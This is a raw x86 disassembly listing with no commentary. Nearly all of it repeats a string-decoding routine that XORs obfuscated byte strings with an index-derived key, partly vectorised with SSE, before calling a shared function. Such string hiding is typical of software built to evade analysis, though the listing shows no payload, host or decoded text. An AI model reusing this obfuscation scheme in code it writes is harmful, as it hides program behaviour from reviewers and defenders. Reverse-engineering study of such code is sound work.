mov eax, dword [0x40d8cc]
xor edx, edx
movq xmm0, qword [str.__RTRVZR]
mov dword [esp + 0x48], eax
mov al, byte [0x40d8d0]
movq qword [esp + 0x40], xmm0
mov byte [esp + 0x4c], al
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x4092b0
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [str.__RTRVZR]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop dword [eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xd
jl 0x4092b0
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d89b], 0
mov ecx, dword [0x40d894]
mov edi, dword [str.R_:CQGPZWW]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], edi
je 0x409444
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x409404
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, edi
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
cmp edx, 8
jae 0x409444
nop dword [eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 8
jl 0x409410
lea ecx, [esp + 0x40]
call fcn.00405b30
mov ax, word [0x40db30]
xor edx, edx
movq xmm0, qword [str.GBjA]
mov word [esp + 0x48], ax
mov al, byte [0x40db32]
movq qword [esp + 0x40], xmm0
mov byte [esp + 0x4a], al
mov dword [esp + 0x38], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 0xb
jl 0x409475
lea ecx, [esp + 0x40]
call fcn.00405b30
mov ax, word [0x40d998]
xor edx, edx
movq xmm0, qword [str.GBjN]
mov word [esp + 0x48], ax
mov al, byte [0x40d99a]
movq qword [esp + 0x40], xmm0
mov byte [esp + 0x4a], al
mov dword [esp + 0x38], edx
nop
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 0xb
jl 0x4094d0
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d9e3], 0
movq xmm0, qword [str.pTD__J]
mov eax, dword [str.DX_cq]
movq qword [esp + 0x40], xmm0
mov dword [esp + 0x48], eax
je 0x409656
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x409622
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [str.pTD__J]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xc
jl 0x409622
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40da8b], 0
movq xmm0, qword [str.GWE__N]
mov eax, dword [str.DX_CFZUhYW_WEG_Mn_:D]
movq qword [esp + 0x40], xmm0
mov dword [esp + 0x48], eax
je 0x4097b4
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x409780
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [str.GWE__N]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xc
jl 0x409780
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d90b], 0
movq xmm0, qword [0x40d900]
mov eax, dword [str.DX_cFZURKJrZ_V_Mn_:D]
movq qword [esp + 0x40], xmm0
mov dword [esp + 0x48], eax
je 0x409914
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x4098e0
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [0x40d900]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop dword [eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xc
jl 0x4098e0
lea ecx, [esp + 0x40]
call fcn.00405b30
movups xmm0, xmmword [0x40dae0]
mov al, byte [0x40daf0]
xor edx, edx
mov byte [esp + 0x20], al
mov dword [esp + 0x3c], edx
movups xmmword [esp + 0x10], xmm0
cmp esi, 2
jl 0x409a55
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x409970
mov dword [esp + 0x3c], edx
cmp edx, 0x11
jge 0x409a94
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x11
jl 0x409a60
lea ecx, [esp + 0x10]
call fcn.00405b30
mov eax, dword [0x40da0c]
xor edx, edx
mov dword [esp + 0x20], eax
mov al, byte [0x40da10]
mov byte [esp + 0x24], al
mov dword [esp + 0x3c], edx
movups xmm0, xmmword [0x40d9fc]
movups xmmword [esp + 0x10], xmm0
cmp esi, 2
jl 0x409be5
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x409b00
mov dword [esp + 0x3c], edx
cmp edx, 0x15
jge 0x409c24
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x15
jl 0x409bf0
lea ecx, [esp + 0x10]
call fcn.00405b30
cmp byte [0x40da33], 0
movq xmm0, qword [0x40da28]
mov eax, dword [str.DX__afs__O_XLl6_l__FcqaYXTJ]
movq qword [esp + 0x40], xmm0
mov dword [esp + 0x48], eax
je 0x409d84
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x409d50
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [0x40da28]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop dword [eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xc
jl 0x409d50
lea ecx, [esp + 0x40]
call fcn.00405b30
movups xmm0, xmmword [0x40d99c]
mov al, byte [0x40d9ac]
xor edx, edx
mov byte [esp + 0x20], al
mov dword [esp + 0x3c], edx
movups xmmword [esp + 0x10], xmm0
cmp esi, 2
jl 0x409ec5
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x409de0
mov dword [esp + 0x3c], edx
cmp edx, 0x11
jge 0x409f04
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x11
jl 0x409ed0
lea ecx, [esp + 0x10]
call fcn.00405b30
cmp byte [0x40da9d], 0
movups xmm0, xmmword [0x40da8c]
mov ax, word [0x40da9c]
mov word [esp + 0x20], ax
movups xmmword [esp + 0x10], xmm0
je 0x40a094
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x40a055
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x409f70
mov dword [esp + 0x3c], edx
cmp edx, 0x12
jge 0x40a094
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x12
jl 0x40a060
lea ecx, [esp + 0x10]
call fcn.00405b30
movups xmm0, xmmword [str._MFwYYUCAYO]
movups xmmword [esp + 0x10], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x40a224
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x40a1e5
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x40a100
mov dword [esp + 0x3c], edx
cmp edx, 0x10
jge 0x40a224
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x10
jl 0x40a1f0
lea ecx, [esp + 0x10]
call fcn.00405b30
cmp byte [0x40db0d], 0
mov eax, dword [0x40db08]
movq xmm0, qword [str._ZPQgQSO]
mov dword [esp + 0x48], eax
mov ax, word [0x40db0c]
movq qword [esp + 0x40], xmm0
mov word [esp + 0x4c], ax
je 0x40a394
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x40a360
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [str._ZPQgQSO]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop dword [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
